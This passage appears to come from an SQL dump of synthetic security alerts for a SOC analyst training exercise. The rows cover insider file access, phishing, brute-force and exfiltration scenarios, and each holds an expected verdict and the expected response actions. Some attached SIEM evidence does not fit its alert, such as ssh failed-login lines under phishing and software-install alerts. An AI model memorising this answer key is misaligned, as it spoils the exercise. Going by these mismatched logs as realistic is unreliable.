C:\\\\\\\\Sensitive\\\\\\\\report.pdf E:\\\\\\\\\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.984Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:00Z\\\",\\\"event_type\\\":\\\"file_copy\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-123\\\",\\\"command_line\\\":\\\"copy C:\\\\\\\\Sensitive\\\\\\\\report.pdf E:\\\\\\\\\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.984Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:00Z\\\",\\\"event_type\\\":\\\"file_copy\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-123\\\",\\\"command_line\\\":\\\"copy C:\\\\\\\\Sensitive\\\\\\\\report.pdf E:\\\\\\\\\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1432, 'Unauthorized File Access Attempt', 'medium', 'Microsoft Purview', 'An employee attempted to access restricted files on the corporate server. This access attempt was blocked.', 'Data Exfil', 'T1078', 1, 'investigating', NULL, '{\"timestamp\":\"2026-03-02T09:15:00Z\",\"event_type\":\"file_access\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"10.0.0.5\",\"username\":\"jdoe\",\"hostname\":\"CORP-DESK-456\",\"command_line\":\"open \\\\\\\\10.0.0.5\\\\Restricted\\\\confidential.docx\"}', '2026-03-02 03:22:47', '2026-03-09 14:29:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP address of the employee\'s workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP address of the corporate server\"}}],\"expected_actions\":[\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The attempt to access restricted files indicates a possible insider threat.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:00Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-456\\\",\\\"command_line\\\":\\\"open \\\\\\\\\\\\\\\\10.0.0.5\\\\\\\\Restricted\\\\\\\\confidential.docx\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:00Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-456\\\",\\\"command_line\\\":\\\"open \\\\\\\\\\\\\\\\10.0.0.5\\\\\\\\Restricted\\\\\\\\confidential.docx\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:00Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-456\\\",\\\"command_line\\\":\\\"open \\\\\\\\\\\\\\\\10.0.0.5\\\\\\\\Restricted\\\\\\\\confidential.docx\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:00Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-456\\\",\\\"command_line\\\":\\\"open \\\\\\\\\\\\\\\\10.0.0.5\\\\\\\\Restricted\\\\\\\\confidential.docx\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:00Z\\\",\\\"event_type\\\":\\\"file_access\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-456\\\",\\\"command_line\\\":\\\"open \\\\\\\\\\\\\\\\10.0.0.5\\\\\\\\Restricted\\\\\\\\confidential.docx\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1433, 'Suspicious Network Connection Detected', 'critical', 'Netskope', 'A suspicious outbound connection to a known malicious IP was detected from an internal host.', 'Malware', 'T1078', 1, 'investigating', 234, '{\"timestamp\":\"2026-03-02T10:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.50\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAP-789\"}', '2026-03-02 03:22:47', '2026-03-03 19:44:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the employee\'s device\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for malware distribution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The destination IP is associated with known malware distribution, confirming the malicious intent.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-789\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-789\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-789\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-789\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.987Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.50\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-789\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1434, 'Phishing Attempt Detected', 'high', 'Forcepoint', 'A phishing email was received with a link to a known malicious site. The email was flagged and quarantined.', 'Phishing', 'T1566', 1, 'investigating', 247, '{\"timestamp\":\"2026-03-02T11:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.25\",\"username\":\"jdoe\",\"hostname\":\"CORP-DESK-101\",\"email_sender\":\"phisher@maliciousdomain.com\",\"url\":\"http://maliciousdomain.com/login\"}', '2026-03-02 03:22:47', '2026-03-07 01:25:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email address linked to multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL used for credential harvesting attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The phishing email contains a link to a malicious domain, warranting immediate action.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.989Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-101\\\",\\\"email_sender\\\":\\\"phisher@maliciousdomain.com\\\",\\\"url\\\":\\\"http://maliciousdomain.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.989Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-101\\\",\\\"email_sender\\\":\\\"phisher@maliciousdomain.com\\\",\\\"url\\\":\\\"http://maliciousdomain.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.989Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-101\\\",\\\"email_sender\\\":\\\"phisher@maliciousdomain.com\\\",\\\"url\\\":\\\"http://maliciousdomain.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.989Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-101\\\",\\\"email_sender\\\":\\\"phisher@maliciousdomain.com\\\",\\\"url\\\":\\\"http://maliciousdomain.com/login\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.989Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-101\\\",\\\"email_sender\\\":\\\"phisher@maliciousdomain.com\\\",\\\"url\\\":\\\"http://maliciousdomain.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1435, 'Unusual Login Activity Detected', 'medium', 'Microsoft Purview', 'Multiple failed login attempts were recorded from a foreign IP address, indicating a potential brute force attack.', 'Credential Attack', 'T1078', 1, 'investigating', 237, '{\"timestamp\":\"2026-03-02T12:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.60\",\"dst_ip\":\"192.168.1.30\",\"username\":\"jdoe\",\"hostname\":\"CORP-SVR-202\",\"failed_attempts\":25}', '2026-03-02 03:22:47', '2026-03-04 16:07:10', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP address of the corporate server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP is associated with known brute force activities, confirming the attack.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.991Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-202\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-02T13:54:06.991Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-202\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-02T13:53:06.991Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-202\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-02T13:52:06.991Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-202\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-02T13:51:06.991Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.60\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-202\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1436, 'Unauthorized Software Installation Detected', 'medium', 'Symantec DLP', 'An employee attempted to install unauthorized software on their workstation, which was detected by DLP policies.', 'Malware', 'T1059', 0, 'investigating', NULL, '{\"timestamp\":\"2026-03-02T13:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.35\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"CORP-DESK-303\",\"command_line\":\"msiexec /i C:\\\\Downloads\\\\unknownapp.msi\"}', '2026-03-02 03:22:47', '2026-03-04 16:18:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.35\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"IP address of the employee\'s workstation\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"msiexec /i C:\\\\Downloads\\\\unknownapp.msi\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command related to software installation, not malicious\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The installation attempt was benign as the software was legitimate but unknown to the system.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.992Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.35\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-303\\\",\\\"command_line\\\":\\\"msiexec /i C:\\\\\\\\Downloads\\\\\\\\unknownapp.msi\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.992Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.35\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-303\\\",\\\"command_line\\\":\\\"msiexec /i C:\\\\\\\\Downloads\\\\\\\\unknownapp.msi\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.992Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.35\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-303\\\",\\\"command_line\\\":\\\"msiexec /i C:\\\\\\\\Downloads\\\\\\\\unknownapp.msi\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.992Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.35\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-303\\\",\\\"command_line\\\":\\\"msiexec /i C:\\\\\\\\Downloads\\\\\\\\unknownapp.msi\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.992Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.35\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-303\\\",\\\"command_line\\\":\\\"msiexec /i C:\\\\\\\\Downloads\\\\\\\\unknownapp.msi\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1437, 'Abnormal Data Transfer Detected', 'high', 'Forcepoint', 'A large volume of sensitive data was transferred to an external IP address, triggering a policy violation alert.', 'Data Exfil', 'T1059', 1, 'investigating', 222, '{\"timestamp\":\"2026-03-02T14:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.40\",\"dst_ip\":\"198.51.100.10\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAP-404\"}', '2026-03-02 03:22:47', '2026-03-08 14:05:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the user\'s laptop\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 500 times for data exfiltration activities\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is linked to known data exfiltration activities, confirming malicious intent.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.994Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-404\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.994Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-404\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.994Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-404\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.994Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-404\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.994Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.40\\\",\\\"dst_ip\\\":\\\"198.51.100.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-404\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
